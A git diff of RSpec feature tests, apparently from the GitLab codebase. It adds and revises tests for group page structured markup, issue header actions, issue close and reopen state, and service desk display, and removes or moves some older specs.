@@ -33,6 +33,7 @@ RSpec.describe 'Group navbar' do
nav_item: _('Merge Requests'),
nav_sub_items: []
},
+ (security_and_compliance_nav_item if Gitlab.ee?),
(push_rules_nav_item if Gitlab.ee?),
{
nav_item: _('Kubernetes'),
diff --git a/spec/features/groups/show_spec.rb b/spec/features/groups/show_spec.rb
index 97732374eb9..3a42fd508b4 100644
--- a/spec/features/groups/show_spec.rb
+++ b/spec/features/groups/show_spec.rb
@@ -193,4 +193,69 @@ RSpec.describe 'Group show page' do
it_behaves_like 'page meta description', 'Lorem ipsum dolor sit amet'
end
+
+ context 'structured schema markup' do
+ let_it_be(:group) { create(:group, :public, :with_avatar, description: 'foo') }
+ let_it_be(:subgroup) { create(:group, :public, :with_avatar, parent: group, description: 'bar') }
+ let_it_be_with_reload(:project) { create(:project, :public, :with_avatar, namespace: group, description: 'foo') }
+ let_it_be(:subproject) { create(:project, :public, :with_avatar, namespace: subgroup, description: 'bar') }
+
+ it 'shows Organization structured markup', :js do
+ visit path
+ wait_for_all_requests
+
+ aggregate_failures do
+ expect(page).to have_selector('.content[itemscope][itemtype="https://schema.org/Organization"]')
+
+ page.within('.group-home-panel') do
+ expect(page).to have_selector('img.avatar[itemprop="logo"]')
+ expect(page).to have_selector('[itemprop="name"]', text: group.name)
+ expect(page).to have_selector('[itemprop="description"]', text: group.description)
+ end
+
+ page.within('[itemprop="owns"][itemtype="https://schema.org/SoftwareSourceCode"]') do
+ expect(page).to have_selector('img.avatar[itemprop="image"]')
+ expect(page).to have_selector('[itemprop="name"]', text: project.name)
+ expect(page).to have_selector('[itemprop="description"]', text: project.description)
+ end
+
+ # Finding the subgroup row and expanding it
+ el = find('[itemprop="subOrganization"][itemtype="https://schema.org/Organization"]')
+ el.click
+ wait_for_all_requests
+ page.within(el) do
+ expect(page).to have_selector('img.avatar[itemprop="logo"]')
+ expect(page).to have_selector('[itemprop="name"]', text: subgroup.name)
+ expect(page).to have_selector('[itemprop="description"]', text: subgroup.description)
+
+ page.within('[itemprop="owns"][itemtype="https://schema.org/SoftwareSourceCode"]') do
+ expect(page).to have_selector('img.avatar[itemprop="image"]')
+ expect(page).to have_selector('[itemprop="name"]', text: subproject.name)
+ expect(page).to have_selector('[itemprop="description"]', text: subproject.description)
+ end
+ end
+ end
+ end
+
+ it 'does not include structured markup in shared projects tab', :js do
+ other_project = create(:project, :public)
+ other_project.project_group_links.create!(group: group)
+
+ visit group_shared_path(group)
+ wait_for_all_requests
+
+ expect(page).to have_selector('li.group-row')
+ expect(page).not_to have_selector('[itemprop="owns"][itemtype="https://schema.org/SoftwareSourceCode"]')
+ end
+
+ it 'does not include structured markup in archived projects tab', :js do
+ project.update!(archived: true)
+
+ visit group_archived_path(group)
+ wait_for_all_requests
+
+ expect(page).to have_selector('li.group-row')
+ expect(page).not_to have_selector('[itemprop="owns"][itemtype="https://schema.org/SoftwareSourceCode"]')
+ end
+ end
end
diff --git a/spec/features/groups_spec.rb b/spec/features/groups_spec.rb
index b9fd3a1a5cc..c9a0844932a 100644
--- a/spec/features/groups_spec.rb
+++ b/spec/features/groups_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe 'Group' do
- let(:user) { create(:admin) }
+ let_it_be(:user) { create(:user) }
before do
sign_in(user)
@@ -21,8 +21,6 @@ RSpec.describe 'Group' do
end
describe 'as a non-admin' do
- let(:user) { create(:user) }
-
it 'creates a group and persists visibility radio selection', :js do
stub_application_setting(default_group_visibility: :private)
@@ -38,6 +36,15 @@ RSpec.describe 'Group' do
end
end
+ describe 'with expected fields' do
+ it 'renders from as expected', :aggregate_failures do
+ expect(page).to have_field('name')
+ expect(page).to have_field('group_path')
+ expect(page).to have_field('group_visibility_level_0')
+ expect(page).not_to have_field('description')
+ end
+ end
+
describe 'with space in group path' do
it 'renders new group form with validation errors' do
fill_in 'Group URL', with: 'space group'
@@ -137,9 +144,11 @@ RSpec.describe 'Group' do
end
describe 'create a nested group', :js do
- let(:group) { create(:group, path: 'foo') }
+ let_it_be(:group) { create(:group, path: 'foo') }
context 'as admin' do
+ let(:user) { create(:admin) }
+
before do
visit new_group_path(group, parent_id: group.id)
end
@@ -185,11 +194,13 @@ RSpec.describe 'Group' do
end
describe 'group edit', :js do
- let(:group) { create(:group, :public) }
- let(:path) { edit_group_path(group) }
+ let_it_be(:group) { create(:group, :public) }
+ let(:path) { edit_group_path(group) }
let(:new_name) { 'new-name' }
before do
+ group.add_owner(user)
+
visit path
end
@@ -200,6 +211,8 @@ RSpec.describe 'Group' do
it 'saves new settings' do
page.within('.gs-general') do
+ # Have to reset it to '' so it overwrites rather than appends
+ fill_in('group_name', with: '')
fill_in 'group_name', with: new_name
click_button 'Save changes'
end
@@ -226,8 +239,12 @@ RSpec.describe 'Group' do
end
describe 'group page with markdown description' do
- let(:group) { create(:group) }
- let(:path) { group_path(group) }
+ let_it_be(:group) { create(:group) }
+ let(:path) { group_path(group) }
+
+ before do
+ group.add_owner(user)
+ end
it 'parses Markdown' do
group.update_attribute(:description, 'This is **my** group')
@@ -263,9 +280,13 @@ RSpec.describe 'Group' do
end
describe 'group page with nested groups', :js do
- let!(:group) { create(:group) }
- let!(:nested_group) { create(:group, parent: group) }
- let!(:project) { create(:project, namespace: group) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:nested_group) { create(:group, parent: group) }
+ let_it_be(:project) { create(:project, namespace: group) }
+
+ before do
+ group.add_owner(user)
+ end
it 'renders projects and groups on the page' do
visit group_path(group)
@@ -292,7 +313,15 @@ RSpec.describe 'Group' do
end
describe 'new subgroup / project button' do
- let(:group) { create(:group, project_creation_level: Gitlab::Access::NO_ONE_PROJECT_ACCESS, subgroup_creation_level: Gitlab::Access::OWNER_SUBGROUP_ACCESS) }
+ let_it_be(:group, reload: true) do
+ create(:group,
+ project_creation_level: Gitlab::Access::NO_ONE_PROJECT_ACCESS,
+ subgroup_creation_level: Gitlab::Access::OWNER_SUBGROUP_ACCESS)
+ end
+
+ before do
+ group.add_owner(user)
+ end
context 'when user has subgroup creation permissions but not project creation permissions' do
it 'only displays "New subgroup" button' do
@@ -325,6 +354,7 @@ RSpec.describe 'Group' do
context 'when user has project and subgroup creation permissions' do
it 'displays "New subgroup" and "New project" buttons' do
group.update!(project_creation_level: Gitlab::Access::MAINTAINER_PROJECT_ACCESS)
+
visit group_path(group)
page.within '[data-testid="group-buttons"]' do
diff --git a/spec/features/ide/user_sees_editor_info_spec.rb b/spec/features/ide/user_sees_editor_info_spec.rb
deleted file mode 100644
index 3760d6bd435..00000000000
--- a/spec/features/ide/user_sees_editor_info_spec.rb
+++ /dev/null
@@ -1,93 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'IDE user sees editor info', :js do
- include WebIdeSpecHelpers
-
- let_it_be(:project) { create(:project, :public, :repository) }
- let_it_be(:user) { project.owner }
-
- before do
- sign_in(user)
-
- ide_visit(project)
- end
-
- it 'shows line position' do
- ide_open_file('README.md')
-
- within find('.ide-status-bar') do
- expect(page).to have_content('1:1')
- end
-
- ide_set_editor_position(4, 10)
-
- within find('.ide-status-bar') do
- expect(page).not_to have_content('1:1')
- expect(page).to have_content('4:10')
- end
- end
-
- it 'updates after rename' do
- ide_open_file('README.md')
- ide_set_editor_position(4, 10)
-
- within find('.ide-status-bar') do
- expect(page).to have_content('markdown')
- expect(page).to have_content('4:10')
- end
-
- ide_rename_file('README.md', 'READMEZ.txt')
-
- within find('.ide-status-bar') do
- expect(page).to have_content('plaintext')
- expect(page).to have_content('1:1')
- end
- end
-
- it 'persists position after rename' do
- ide_open_file('README.md')
- ide_set_editor_position(4, 10)
-
- ide_open_file('files/js/application.js')
- ide_rename_file('README.md', 'READING_RAINBOW.md')
-
- ide_open_file('READING_RAINBOW.md')
-
- within find('.ide-status-bar') do
- expect(page).to have_content('4:10')
- end
- end
-
- it 'persists position' do
- ide_open_file('README.md')
- ide_set_editor_position(4, 10)
-
- ide_close_file('README.md')
- ide_open_file('README.md')
-
- within find('.ide-status-bar') do
- expect(page).to have_content('markdown')
- expect(page).to have_content('4:10')
- end
- end
-
- it 'persists viewer' do
- ide_open_file('README.md')
- click_link('Preview Markdown')
-
- within find('.md-previewer') do
- expect(page).to have_content('testme')
- end
-
- # Switch away from and back to the file
- ide_open_file('.gitignore')
- ide_open_file('README.md')
-
- # Preview is still enabled
- within find('.md-previewer') do
- expect(page).to have_content('testme')
- end
- end
-end
diff --git a/spec/features/incidents/user_views_incident_spec.rb b/spec/features/incidents/user_views_incident_spec.rb
index 3595f5c03ec..b94ce3cd06f 100644
--- a/spec/features/incidents/user_views_incident_spec.rb
+++ b/spec/features/incidents/user_views_incident_spec.rb
@@ -13,8 +13,6 @@ RSpec.describe "User views incident" do
end
before do
- stub_feature_flags(vue_issue_header: false)
-
sign_in(user)
visit(project_issues_incident_path(project, incident))
@@ -24,10 +22,12 @@ RSpec.describe "User views incident" do
it_behaves_like 'page meta description', ' Description header Lorem ipsum dolor sit amet'
- it 'shows the merge request and incident actions', :aggregate_failures do
- expect(page).to have_link('New incident')
+ it 'shows the merge request and incident actions', :js, :aggregate_failures do
+ click_button 'Incident actions'
+
+ expect(page).to have_link('New incident', href: new_project_issue_path(project, { issuable_template: 'incident', issue: { issue_type: 'incident' } }))
expect(page).to have_button('Create merge request')
- expect(page).to have_link('Close incident')
+ expect(page).to have_button('Close incident')
end
context 'when the project is archived' do
diff --git a/spec/features/issuables/close_reopen_report_toggle_spec.rb b/spec/features/issuables/close_reopen_report_toggle_spec.rb
deleted file mode 100644
index 867d2ff7aae..00000000000
--- a/spec/features/issuables/close_reopen_report_toggle_spec.rb
+++ /dev/null
@@ -1,188 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'Issuables Close/Reopen/Report toggle' do
- include IssuablesHelper
-
- let(:user) { create(:user) }
-
- before do
- stub_feature_flags(vue_issue_header: false)
- end
-
- shared_examples 'an issuable close/reopen/report toggle' do
- let(:container) { find('.issuable-close-dropdown') }
- let(:human_model_name) { issuable.model_name.human.downcase }
-
- it 'shows toggle' do
- expect(page).to have_button("Close #{human_model_name}")
- expect(page).to have_selector('.issuable-close-dropdown')
- end
-
- it 'opens a dropdown when toggle is clicked' do
- container.find('.dropdown-toggle').click
-
- expect(container).to have_selector('.dropdown-menu')
- expect(container).to have_content("Close #{human_model_name}")
- expect(container).to have_content('Report abuse')
- expect(container).to have_content("Report #{human_model_name.pluralize} that are abusive, inappropriate or spam.")
-
- if issuable.is_a?(MergeRequest)
- page.within('.js-issuable-close-dropdown') do
- expect(page).to have_link('Close merge request')
- end
- else
- expect(container).to have_selector('.close-item.droplab-item-selected')
- end
-
- expect(container).to have_selector('.report-item')
- expect(container).not_to have_selector('.report-item.droplab-item-selected')
- expect(container).not_to have_selector('.reopen-item')
- end
-
- it 'links to Report Abuse' do
- container.find('.dropdown-toggle').click
- container.find('.report-abuse-link').click
-
- expect(page).to have_content('Report abuse to admin')
- end
- end
-
- context 'on an issue' do
- let(:project) { create(:project) }
- let(:issuable) { create(:issue, project: project) }
-
- before do
- project.add_maintainer(user)
- login_as user
- end
-
- context 'when user has permission to update', :js do
- before do
- visit project_issue_path(project, issuable)
- end
-
- it_behaves_like 'an issuable close/reopen/report toggle'
-
- context 'when the issue is closed and locked' do
- let(:issuable) { create(:issue, :closed, :locked, project: project) }
-
- it 'hides the reopen button' do
- expect(page).not_to have_button('Reopen issue')
- end
-
- context 'when the issue author is the current user' do
- before do
- issuable.update(author: user)
- end
-
- it 'hides the reopen button' do
- expect(page).not_to have_button('Reopen issue')
- end
- end
- end
- end
-
- context 'when user doesnt have permission to update' do
- let(:cant_project) { create(:project) }
- let(:cant_issuable) { create(:issue, project: cant_project) }
-
- before do
- cant_project.add_guest(user)
-
- visit project_issue_path(cant_project, cant_issuable)
- end
-
- it 'only shows the `Report abuse` and `New issue` buttons' do
- expect(page).to have_link('Report abuse')
- expect(page).to have_link('New issue')
- expect(page).not_to have_button('Close issue')
- expect(page).not_to have_button('Reopen issue')
- expect(page).not_to have_link(title: 'Edit title and description')
- end
- end
- end
-
- context 'on a merge request' do
- let(:container) { find('.detail-page-header-actions') }
- let(:project) { create(:project, :repository) }
- let(:issuable) { create(:merge_request, source_project: project) }
-
- before do
- project.add_maintainer(user)
- login_as user
- end
-
- context 'when user has permission to update', :js do
- before do
- visit project_merge_request_path(project, issuable)
- end
-
- it_behaves_like 'an issuable close/reopen/report toggle'
-
- context 'when the merge request is closed' do
- let(:issuable) { create(:merge_request, :closed, source_project: project) }
-
- it 'shows both the `Edit` and `Reopen` button' do
- expect(container).to have_link('Edit')
- expect(container).not_to have_button('Report abuse')
- expect(container).not_to have_button('Close merge request')
- expect(container).to have_link('Reopen merge request')
- end
-
- context 'when the merge request author is the current user' do
- let(:issuable) { create(:merge_request, :closed, source_project: project, author: user) }
-
- it 'shows both the `Edit` and `Reopen` button' do
- expect(container).to have_link('Edit')
- expect(container).not_to have_link('Report abuse')
- expect(container).not_to have_selector('button.dropdown-toggle')
- expect(container).not_to have_button('Close merge request')
- expect(container).to have_link('Reopen merge request')
- end
- end
- end
-
- context 'when the merge request is merged' do
- let(:issuable) { create(:merge_request, :merged, source_project: project) }
-
- it 'shows only the `Edit` button' do
- expect(container).to have_link(exact_text: 'Edit')
- expect(container).not_to have_link('Report abuse')
- expect(container).not_to have_button('Close merge request')
- expect(container).not_to have_button('Reopen merge request')
- end
-
- context 'when the merge request author is the current user' do
- let(:issuable) { create(:merge_request, :merged, source_project: project, author: user) }
-
- it 'shows only the `Edit` button' do
- expect(container).to have_link(exact_text: 'Edit')
- expect(container).not_to have_link('Report abuse')
- expect(container).not_to have_button('Close merge request')
- expect(container).not_to have_button('Reopen merge request')
- end
- end
- end
- end
-
- context 'when user doesnt have permission to update' do
- let(:cant_project) { create(:project, :repository) }
- let(:cant_issuable) { create(:merge_request, source_project: cant_project) }
-
- before do
- cant_project.add_reporter(user)
-
- visit project_merge_request_path(cant_project, cant_issuable)
- end
-
- it 'only shows a `Report abuse` button' do
- expect(container).to have_link('Report abuse')
- expect(container).not_to have_button('Close merge request')
- expect(container).not_to have_button('Reopen merge request')
- expect(container).not_to have_link(exact_text: 'Edit')
- end
- end
- end
-end
diff --git a/spec/features/issues/create_issue_for_discussions_in_merge_request_spec.rb b/spec/features/issues/create_issue_for_discussions_in_merge_request_spec.rb
index 0f0146a26a2..d773126e00c 100644
--- a/spec/features/issues/create_issue_for_discussions_in_merge_request_spec.rb
+++ b/spec/features/issues/create_issue_for_discussions_in_merge_request_spec.rb
@@ -105,7 +105,7 @@ RSpec.describe 'Resolving all open threads in a merge request from an issue', :j
visit new_project_issue_path(project, merge_request_to_resolve_discussions_of: merge_request.iid)
end
- it 'Shows a notice to ask someone else to resolve the threads' do
+ it 'shows a notice to ask someone else to resolve the threads' do
expect(page).to have_content("The threads at #{merge_request.to_reference} will stay unresolved. Ask someone with permission to resolve them.")
end
end
diff --git a/spec/features/issues/create_issue_for_single_discussion_in_merge_request_spec.rb b/spec/features/issues/create_issue_for_single_discussion_in_merge_request_spec.rb
index b449939a70c..99dc71f0559 100644
--- a/spec/features/issues/create_issue_for_single_discussion_in_merge_request_spec.rb
+++ b/spec/features/issues/create_issue_for_single_discussion_in_merge_request_spec.rb
@@ -31,7 +31,8 @@ RSpec.describe 'Resolve an open thread in a merge request by creating an issue',
visit project_merge_request_path(project, merge_request)
end
- it 'does not show a link to create a new issue' do
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/285453
+ xit 'does not show a link to create a new issue' do
expect(page).not_to have_css resolve_discussion_selector
end
end
@@ -81,7 +82,7 @@ RSpec.describe 'Resolve an open thread in a merge request by creating an issue',
discussion_to_resolve: discussion.id)
end
- it 'Shows a notice to ask someone else to resolve the threads' do
+ it 'shows a notice to ask someone else to resolve the threads' do
expect(page).to have_content("The thread at #{merge_request.to_reference}"\
" (discussion #{discussion.first_note.id}) will stay unresolved."\
" Ask someone with permission to resolve it.")
diff --git a/spec/features/issuables/discussion_lock_spec.rb b/spec/features/issues/discussion_lock_spec.rb
index 13f1742fbf6..13f1742fbf6 100644
--- a/spec/features/issuables/discussion_lock_spec.rb
+++ b/spec/features/issues/discussion_lock_spec.rb
diff --git a/spec/features/issues/filtered_search/filter_issues_spec.rb b/spec/features/issues/filtered_search/filter_issues_spec.rb
index 080943da185..4f4584e7dce 100644
--- a/spec/features/issues/filtered_search/filter_issues_spec.rb
+++ b/spec/features/issues/filtered_search/filter_issues_spec.rb
@@ -153,6 +153,14 @@ RSpec.describe 'Filter issues', :js do
end
end
+ describe 'filter by reviewer' do
+ it 'does not allow filtering by reviewer' do
+ find('.filtered-search').click
+
+ expect(page).not_to have_button('Reviewer')
+ end
+ end
+
describe 'filter issues by label' do
context 'only label' do
it 'filters issues by searched label' do
diff --git a/spec/features/issues/gfm_autocomplete_spec.rb b/spec/features/issues/gfm_autocomplete_spec.rb
index 06f79f94e8d..07bf821a590 100644
--- a/spec/features/issues/gfm_autocomplete_spec.rb
+++ b/spec/features/issues/gfm_autocomplete_spec.rb
@@ -418,6 +418,46 @@ RSpec.describe 'GFM autocomplete', :js do
end
end
+ context 'when other notes are destroyed' do
+ let!(:discussion) { create(:discussion_note_on_issue, noteable: issue, project: issue.project) }
+
+ # This is meant to protect against this issue https://gitlab.com/gitlab-org/gitlab/-/issues/228729
+ it 'keeps autocomplete key listeners' do
+ visit project_issue_path(project, issue)
+ note = find('#note-body')
+
+ start_comment_with_emoji(note)
+
+ start_and_cancel_discussion
+
+ note.fill_in(with: '')
+ start_comment_with_emoji(note)
+ note.native.send_keys(:enter)
+
+ expect(note.value).to eql('Hello :100: ')
+ end
+
+ def start_comment_with_emoji(note)
+ note.native.send_keys('Hello :10')
+
+ wait_for_requests
+
+ find('.atwho-view li', text: '100')
+ end
+
+ def start_and_cancel_discussion
+ click_button('Reply...')
+
+ fill_in('note_note', with: 'Whoops!')
+
+ page.accept_alert 'Are you sure you want to cancel creating this comment?' do
+ click_button('Cancel')
+ end
+
+ wait_for_requests
+ end
+ end
+
shared_examples 'autocomplete suggestions' do
it 'suggests objects correctly' do
page.within '.timeline-content-form' do
@@ -550,6 +590,15 @@ RSpec.describe 'GFM autocomplete', :js do
expect(find('.tribute-container ul', visible: true)).to have_text('alert milestone')
end
+ it 'does not open autocomplete menu when trigger character is prefixed with text' do
+ page.within '.timeline-content-form' do
+ find('#note-body').native.send_keys('testing')
+ find('#note-body').native.send_keys('@')
+ end
+
+ expect(page).not_to have_selector('.tribute-container', visible: true)
+ end
+
it 'selects the first item for assignee dropdowns' do
page.within '.timeline-content-form' do
find('#note-body').native.send_keys('@')
@@ -618,21 +667,6 @@ RSpec.describe 'GFM autocomplete', :js do
expect(page).to have_selector('.tribute-container', visible: true)
end
- it "does not show dropdown when preceded with a special character" do
- note = find('#note-body')
- page.within '.timeline-content-form' do
- note.native.send_keys("@")
- end
-
- expect(page).to have_selector('.tribute-container', visible: true)
-
- page.within '.timeline-content-form' do
- note.native.send_keys("@")
- end
-
- expect(page).not_to have_selector('.tribute-container')
- end
-
it "does not throw an error if no labels exist" do
note = find('#note-body')
page.within '.timeline-content-form' do
@@ -653,14 +687,6 @@ RSpec.describe 'GFM autocomplete', :js do
expect_to_wrap(false, user_item, note, user.username)
end
- it 'doesn\'t open autocomplete after non-word character' do
- page.within '.timeline-content-form' do
- find('#note-body').native.send_keys("@#{user.username[0..2]}!")
- end
-
- expect(page).not_to have_selector('.tribute-container')
- end
-
it 'triggers autocomplete after selecting a quick action' do
note = find('#note-body')
page.within '.timeline-content-form' do
@@ -848,46 +874,6 @@ RSpec.describe 'GFM autocomplete', :js do
it_behaves_like 'autocomplete suggestions'
end
-
- context 'when other notes are destroyed' do
- let!(:discussion) { create(:discussion_note_on_issue, noteable: issue, project: issue.project) }
-
- # This is meant to protect against this issue https://gitlab.com/gitlab-org/gitlab/-/issues/228729
- it 'keeps autocomplete key listeners' do
- visit project_issue_path(project, issue)
- note = find('#note-body')
-
- start_comment_with_emoji(note)
-
- start_and_cancel_discussion
-
- note.fill_in(with: '')
- start_comment_with_emoji(note)
- note.native.send_keys(:enter)
-
- expect(note.value).to eql('Hello :100: ')
- end
-
- def start_comment_with_emoji(note)
- note.native.send_keys('Hello :10')
-
- wait_for_requests
-
- find('.atwho-view li', text: '100')
- end
-
- def start_and_cancel_discussion
- click_button('Reply...')
-
- fill_in('note_note', with: 'Whoops!')
-
- page.accept_alert 'Are you sure you want to cancel creating this comment?' do
- click_button('Cancel')
- end
-
- wait_for_requests
- end
- end
end
private
diff --git a/spec/features/issues/issue_header_spec.rb b/spec/features/issues/issue_header_spec.rb
new file mode 100644
index 00000000000..cf375d8fb67
--- /dev/null
+++ b/spec/features/issues/issue_header_spec.rb
@@ -0,0 +1,164 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'issue header', :js do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project) }
+ let_it_be(:issue) { create(:issue, project: project) }
+ let_it_be(:closed_issue) { create(:issue, :closed, project: project) }
+ let_it_be(:closed_locked_issue) { create(:issue, :closed, :locked, project: project) }
+ let_it_be(:authored_issue) { create(:issue, project: project, author: user) }
+
+ context 'when user has permission to update' do
+ before do
+ project.add_maintainer(user)
+ sign_in(user)
+ end
+
+ context 'within the issue actions dropdown menu' do
+ before do
+ visit project_issue_path(project, issue)
+
+ # Click on the ellipsis icon
+ click_button 'Issue actions'
+ end
+
+ it 'only shows the "New issue" and "Report abuse" items', :aggregate_failures do
+ expect(page).to have_link 'New issue'
+ expect(page).to have_link 'Report abuse'
+ expect(page).not_to have_link 'Submit as spam'
+ end
+ end
+
+ context 'when the issue is open' do
+ before do
+ visit project_issue_path(project, issue)
+ end
+
+ it 'has a "Close issue" button' do
+ expect(page).to have_button 'Close issue'
+ end
+ end
+
+ context 'when the issue is closed' do
+ before do
+ visit project_issue_path(project, closed_issue)
+ end
+
+ it 'has a "Reopen issue" button' do
+ expect(page).to have_button 'Reopen issue'
+ end
+ end
+
+ context 'when the issue is closed and locked' do
+ before do
+ visit project_issue_path(project, closed_locked_issue)
+ end
+
+ it 'does not have a "Reopen issue" button' do
+ expect(page).not_to have_button 'Reopen issue'
+ end
+ end
+
+ context 'when the current user is the issue author' do
+ before do
+ visit project_issue_path(project, authored_issue)
+ end
+
+ it 'does not show "Report abuse" link in dropdown' do
+ click_button 'Issue actions'
+
+ expect(page).not_to have_link 'Report abuse'
+ end
+ end
+ end
+
+ context 'when user is admin and the project is set up for spam' do
+ let_it_be(:admin) { create(:admin) }
+ let_it_be(:user_agent_detail) { create(:user_agent_detail, subject: issue) }
+
+ before do
+ stub_application_setting(akismet_enabled: true)
+ project.add_maintainer(admin)
+ sign_in(admin)
+ end
+
+ context 'within the issue actions dropdown menu' do
+ before do
+ visit project_issue_path(project, issue)
+
+ # Click on the ellipsis icon
+ click_button 'Issue actions'
+ end
+
+ it 'has "Submit as spam" item' do
+ expect(page).to have_link 'Submit as spam'
+ end
+ end
+ end
+
+ context 'when user does not have permission to update' do
+ before do
+ project.add_guest(user)
+ sign_in(user)
+ end
+
+ context 'within the issue actions dropdown menu' do
+ before do
+ visit project_issue_path(project, issue)
+
+ # Click on the ellipsis icon
+ click_button 'Issue actions'
+ end
+
+ it 'only shows the "New issue" and "Report abuse" items', :aggregate_failures do
+ expect(page).to have_link 'New issue'
+ expect(page).to have_link 'Report abuse'
+ expect(page).not_to have_link 'Submit as spam'
+ end
+ end
+
+ context 'when the issue is open' do
+ before do
+ visit project_issue_path(project, issue)
+ end
+
+ it 'does not have a "Close issue" button' do
+ expect(page).not_to have_button 'Close issue'
+ end
+ end
+
+ context 'when the issue is closed' do
+ before do
+ visit project_issue_path(project, closed_issue)
+ end
+
+ it 'does not have a "Reopen issue" button' do
+ expect(page).not_to have_button 'Reopen issue'
+ end
+ end
+
+ context 'when the issue is closed and locked' do
+ before do
+ visit project_issue_path(project, closed_locked_issue)
+ end
+
+ it 'does not have a "Reopen issue" button' do
+ expect(page).not_to have_button 'Reopen issue'
+ end
+ end
+
+ context 'when the current user is the issue author' do
+ before do
+ visit project_issue_path(project, authored_issue)
+ end
+
+ it 'does not show "Report abuse" link in dropdown' do
+ click_button 'Issue actions'
+
+ expect(page).not_to have_link 'Report abuse'
+ end
+ end
+ end
+end
diff --git a/spec/features/issues/issue_state_spec.rb b/spec/features/issues/issue_state_spec.rb
new file mode 100644
index 00000000000..0ef6eb56dff
--- /dev/null
+++ b/spec/features/issues/issue_state_spec.rb
@@ -0,0 +1,81 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'issue state', :js do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:user) { create(:user) }
+
+ before do
+ project.add_developer(user)
+ sign_in(user)
+ end
+
+ shared_examples 'issue closed' do |selector|
+ it 'can close an issue' do
+ expect(find('.status-box')).to have_content 'Open'
+
+ within selector do
+ click_button 'Close issue'
+ end
+
+ expect(find('.status-box')).to have_content 'Closed'
+ end
+ end
+
+ shared_examples 'issue reopened' do |selector|
+ it 'can reopen an issue' do
+ expect(find('.status-box')).to have_content 'Closed'
+
+ within selector do
+ click_button 'Reopen issue'
+ end
+
+ expect(find('.status-box')).to have_content 'Open'
+ end
+ end
+
+ describe 'when open' do
+ context 'when clicking the top `Close issue` button', :aggregate_failures do
+ let(:open_issue) { create(:issue, project: project) }
+
+ before do
+ visit project_issue_path(project, open_issue)
+ end
+
+ it_behaves_like 'issue closed', '.detail-page-header'
+ end
+
+ context 'when clicking the bottom `Close issue` button', :aggregate_failures do
+ let(:open_issue) { create(:issue, project: project) }
+
+ before do
+ visit project_issue_path(project, open_issue)
+ end
+
+ it_behaves_like 'issue closed', '.timeline-content-form'
+ end
+ end
+
+ describe 'when closed' do
+ context 'when clicking the top `Reopen issue` button', :aggregate_failures do
+ let(:closed_issue) { create(:issue, project: project, state: 'closed') }
+
+ before do
+ visit project_issue_path(project, closed_issue)
+ end
+
+ it_behaves_like 'issue reopened', '.detail-page-header'
+ end
+
+ context 'when clicking the bottom `Reopen issue` button', :aggregate_failures do
+ let(:closed_issue) { create(:issue, project: project, state: 'closed') }
+
+ before do
+ visit project_issue_path(project, closed_issue)
+ end
+
+ it_behaves_like 'issue reopened', '.timeline-content-form'
+ end
+ end
+end
diff --git a/spec/features/issues/keyboard_shortcut_spec.rb b/spec/features/issues/keyboard_shortcut_spec.rb
index ab40f124257..502412bab5d 100644
--- a/spec/features/issues/keyboard_shortcut_spec.rb
+++ b/spec/features/issues/keyboard_shortcut_spec.rb
@@ -8,7 +8,7 @@ RSpec.describe 'Issues shortcut', :js do
let(:project) { create(:project) }
before do
- sign_in(create(:admin))
+ sign_in(project.owner)
visit project_path(project)
end
@@ -23,7 +23,7 @@ RSpec.describe 'Issues shortcut', :js do
let(:project) { create(:project, :issues_disabled) }
before do
- sign_in(create(:admin))
+ sign_in(project.owner)
visit project_path(project)
end
diff --git a/spec/features/issuables/related_issues_spec.rb b/spec/features/issues/related_issues_spec.rb
index 837859bbe26..837859bbe26 100644
--- a/spec/features/issuables/related_issues_spec.rb
+++ b/spec/features/issues/related_issues_spec.rb
diff --git a/spec/features/issues/service_desk_spec.rb b/spec/features/issues/service_desk_spec.rb
index 1512d539dec..02804d84a21 100644
--- a/spec/features/issues/service_desk_spec.rb
+++ b/spec/features/issues/service_desk_spec.rb
@@ -4,7 +4,9 @@ require 'spec_helper'
RSpec.describe 'Service Desk Issue Tracker', :js do
let(:project) { create(:project, :private, service_desk_enabled: true) }
- let(:user) { create(:user) }
+
+ let_it_be(:user) { create(:user) }
+ let_it_be(:support_bot) { User.support_bot }
before do
# The following two conditions equate to Gitlab::ServiceDesk.supported == true
@@ -27,6 +29,16 @@ RSpec.describe 'Service Desk Issue Tracker', :js do
end
end
+ context 'issue page' do
+ let(:service_desk_issue) { create(:issue, project: project, author: support_bot, service_desk_reply_to: 'service.desk@example.com') }
+
+ it 'shows service_desk_reply_to in issue header' do
+ visit project_issue_path(project, service_desk_issue)
+
+ expect(page).to have_text('by service.desk@example.com via GitLab Support Bot')
+ end
+ end
+
describe 'issues list' do
context 'when service desk is supported' do
context 'when there are no issues' do
@@ -66,10 +78,10 @@ RSpec.describe 'Service Desk Issue Tracker', :js do
end
context 'when there are issues' do
- let(:support_bot) { User.support_bot }
- let(:other_user) { create(:user) }
- let!(:service_desk_issue) { create(:issue, project: project, author: support_bot) }
- let!(:other_user_issue) { create(:issue, project: project, author: other_user) }
+ let_it_be(:project) { create(:project, :private, service_desk_enabled: true) }
+ let_it_be(:other_user) { create(:user) }
+ let_it_be(:service_desk_issue) { create(:issue, project: project, author: support_bot, service_desk_reply_to: 'service.desk@example.com') }
+ let_it_be(:other_user_issue) { create(:issue, project: project, author: other_user) }
describe 'service desk info content' do
before do
@@ -94,6 +106,10 @@ RSpec.describe 'Service Desk Issue Tracker', :js do
it 'only displays issues created by support bot' do
expect(page).to have_selector('.issues-list .issue', count: 1)
end
+
+ it 'shows service_desk_reply_to in issues list' do
+ expect(page).to have_text('by service.desk@example.com via GitLab Support Bot')
+ end
end
describe 'search box' do
diff --git a/spec/features/issues/user_edits_issue_spec.rb b/spec/features/issues/user_edits_issue_spec.rb
index 11b905735de..9d4a6cdb522 100644
--- a/spec/features/issues/user_edits_issue_spec.rb
+++ b/spec/features/issues/user_edits_issue_spec.rb
@@ -22,6 +22,7 @@ RSpec.describe "Issues > User edits issue", :js do
context "from edit page" do
before do
+ stub_licensed_features(multiple_issue_assignees: false)
visit edit_project_issue_path(project, issue)
end
